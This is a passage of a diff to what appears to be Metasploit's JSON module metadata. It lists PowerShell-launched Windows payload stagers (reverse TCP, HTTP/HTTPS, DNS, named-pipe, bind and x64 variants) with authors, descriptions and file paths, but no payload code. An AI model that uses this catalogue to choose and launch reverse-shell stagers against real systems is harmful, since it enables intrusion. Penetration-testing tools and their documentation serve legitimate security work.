"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/bind_tcp_uuid",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/find_tag": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Find Tag Ordinal Stager",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/find_tag",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"skape <mmiller@hick.org>"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Use an established connection",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/find_tag",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/reverse_hop_http": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Reverse Hop HTTP/HTTPS Stager",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/reverse_hop_http",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"scriptjunkie <scriptjunkie@scriptjunkie.us>",
|
||||
"bannedit <bannedit@metasploit.com>",
|
||||
"hdm <x@hdm.io>"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. \n Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\n data/hop/hop.php to the PHP server you wish to use as a hop.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/reverse_hop_http",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/reverse_http": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (wininet)",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/reverse_http",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP (Windows wininet)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/reverse_http",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/reverse_http_proxy_pstore": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Reverse HTTP Stager Proxy",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/reverse_http_proxy_pstore",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/reverse_http_proxy_pstore",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/reverse_https": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTPS Stager (wininet)",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/reverse_https",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTPS (Windows wininet)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/reverse_https",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/reverse_https_proxy": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Reverse HTTPS Stager with Support for Custom Proxy",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/reverse_https_proxy",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"corelanc0d3r <peter.ve@corelan.be>",
|
||||
"amaloteaux <alex_maloteaux@metasploit.com>"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP using SSL with custom proxy support",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/reverse_https_proxy",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/reverse_ipv6_tcp": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (IPv6)",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/reverse_ipv6_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker over IPv6",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/reverse_ipv6_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/reverse_named_pipe": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Windows x86 Reverse Named Pipe (SMB) Stager",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/reverse_named_pipe",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker via a named pipe pivot",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/reverse_named_pipe",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/reverse_nonx_tcp": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (No NX or Win7)",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/reverse_nonx_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"vlad902 <vlad902@gmail.com>"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker (No NX)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/reverse_nonx_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/reverse_ord_tcp": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Reverse Ordinal TCP Stager (No NX or Win7)",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/reverse_ord_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"spoonm <spoonm@no$email.com>"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/reverse_ord_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/reverse_tcp": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/reverse_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/reverse_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/reverse_tcp_allports": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Reverse All-Port TCP Stager",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_allports",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Try to connect back to the attacker, on all possible ports (1-65535, slowly)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/reverse_tcp_allports",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/reverse_tcp_dns": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (DNS)",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_dns",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"RageLtMan"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/reverse_tcp_dns",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/reverse_tcp_rc4": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_rc4",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"mihi",
|
||||
"RageLtMan"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/reverse_tcp_rc4",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/reverse_tcp_rc4_dns": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_rc4_dns",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"mihi",
|
||||
"RageLtMan"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/reverse_tcp_rc4_dns",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/reverse_tcp_uuid": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager with UUID Support",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_uuid",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker with UUID Support",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/reverse_tcp_uuid",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/reverse_udp": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Reverse UDP Stager with UUID Support",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/reverse_udp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker with UUID Support",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/reverse_udp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/reverse_winhttp": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (winhttp)",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/reverse_winhttp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"Borja Merino <bmerinofe@gmail.com>"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP (Windows winhttp)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/reverse_winhttp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/reverse_winhttps": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTPS Stager (winhttp)",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/reverse_winhttps",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"Borja Merino <bmerinofe@gmail.com>"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTPS (Windows winhttp)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/reverse_winhttps",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp": {
|
||||
"name": "Powershell Exec, Hidden Bind Ipknock TCP Stager",
|
||||
"fullname": "payload/cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp",
|
||||
@@ -178575,6 +180946,525 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/x64/custom/bind_ipv6_tcp": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager",
|
||||
"fullname": "payload/cmd/windows/powershell/x64/custom/bind_ipv6_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Listen for an IPv6 connection (Windows x64)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/x64/custom/bind_ipv6_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support",
|
||||
"fullname": "payload/cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Listen for an IPv6 connection with UUID Support (Windows x64)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/x64/custom/bind_named_pipe": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Bind Named Pipe Stager",
|
||||
"fullname": "payload/cmd/windows/powershell/x64/custom/bind_named_pipe",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"UserExistsError"
|
||||
],
|
||||
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Listen for a pipe connection (Windows x64)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/x64/custom/bind_named_pipe",
